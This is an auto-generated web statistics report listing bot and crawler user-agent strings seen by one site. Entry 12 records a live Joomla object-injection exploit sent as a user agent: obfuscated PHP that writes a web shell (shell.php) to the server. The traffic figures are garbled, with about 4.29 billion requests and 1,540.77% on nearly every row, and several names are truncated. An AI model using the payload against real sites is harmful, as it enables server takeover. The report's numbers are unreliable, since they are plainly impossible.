The Browser Summary identifies the most popular web browsers used to visit
this site.
Browsers are broken down by recognized categories such as
Netscape Navigator/Communicator, Microsoft Internet Explorer, WebTV, Opera
and the like. Within each category is also a subgroup by version number
such as 'MSIE 5.0' or 'Netscape 4.5'.
This report is sorted by number of requests.
Browser Type | Number of requests | Number of page requests in the last 7 days | Percentage of page requests in the last 7 days | |
---|---|---|---|---|
1. | meta-externalagent | 1,726 | 4,290,237,613 | 1,540.77% |
meta-externalagent/1 | 1,726 | 4,290,237,613 | 1,540.77% | |
2. | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses | 389 | 4,290,237,441 | 1,540.77% |
Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | 389 | 4,290,237,441 | 1,540.77% | |
3. | Go-http-client | 619 | 4,290,237,440 | 1,540.77% |
Go-http-client/1 | 619 | 4,290,237,440 | 1,540.77% | |
4. | OpenWebSpider v0.1.4 (http: | 211 | 4,290,237,439 | 1,540.77% |
OpenWebSpider v0.1.4 (http://www | 211 | 4,290,237,439 | 1,540.77% | |
5. | Keybot Translation-Search-Machine | 1,951 | 4,290,237,439 | 1,540.77% |
6. | 8LEGS | 1 | 4,290,237,439 | 1,540.77% |
7. | Blackboard Safeassign | 6 | 4,290,237,439 | 1,540.77% |
8. | TagVisit | 1 | 4,290,237,439 | 1,540.77% |
TagVisit/0 | 1 | 4,290,237,439 | 1,540.77% | |
9. | Baiduspider ( http: | 345 | 4,290,237,439 | 1,540.77% |
Baiduspider ( http://www | 345 | 4,290,237,439 | 1,540.77% | |
10. | Acoon v4.9.5 (www.acoon.de) | 1 | 4,290,237,439 | 1,540.77% |
11. | MSIE or | 15 | 4,290,237,439 | 1,540.77% |
12. | }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1095:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(100).chr(110).chr(90).chr(50).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(90).chr(88).chr(90).chr(104).chr(98).chr(67).chr(103).chr(107).chr(88).chr(49).chr(66).chr(80).chr(85).chr(49).chr(82).chr(98).chr(101).chr(110).chr(112).chr(54).chr(88).chr(83).chr(107).chr(55).chr(80).chr(122).chr(52).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}\xf0\xfd\xfd\xfd | 4 | 4,290,237,439 | 1,540.77% |
13. | LG | 1 | 4,290,237,439 | 1,540.77% |
LG/U8138/v1 | 1 | 4,290,237,439 | 1,540.77% | |
14. | NextGenSearchBot | 275 | 4,290,237,439 | 1,540.77% |
NextGenSearchBot/1 | 275 | 4,290,237,439 | 1,540.77% | |
15. | adreview | 2 | 4,290,237,439 | 1,540.77% |
adreview/1 | 2 | 4,290,237,439 | 1,540.77% | |
[not listed: 396] | 2,079,028 | 349,397,007 | 125.49% |
This report was generated on November 17, 2024 05:51.
Report time frame February 17, 2019 17:35 to October 20, 2024 21:53.
Web statistics report produced by: | |
Analog 5.24 | Report Magic for Analog 2.13 |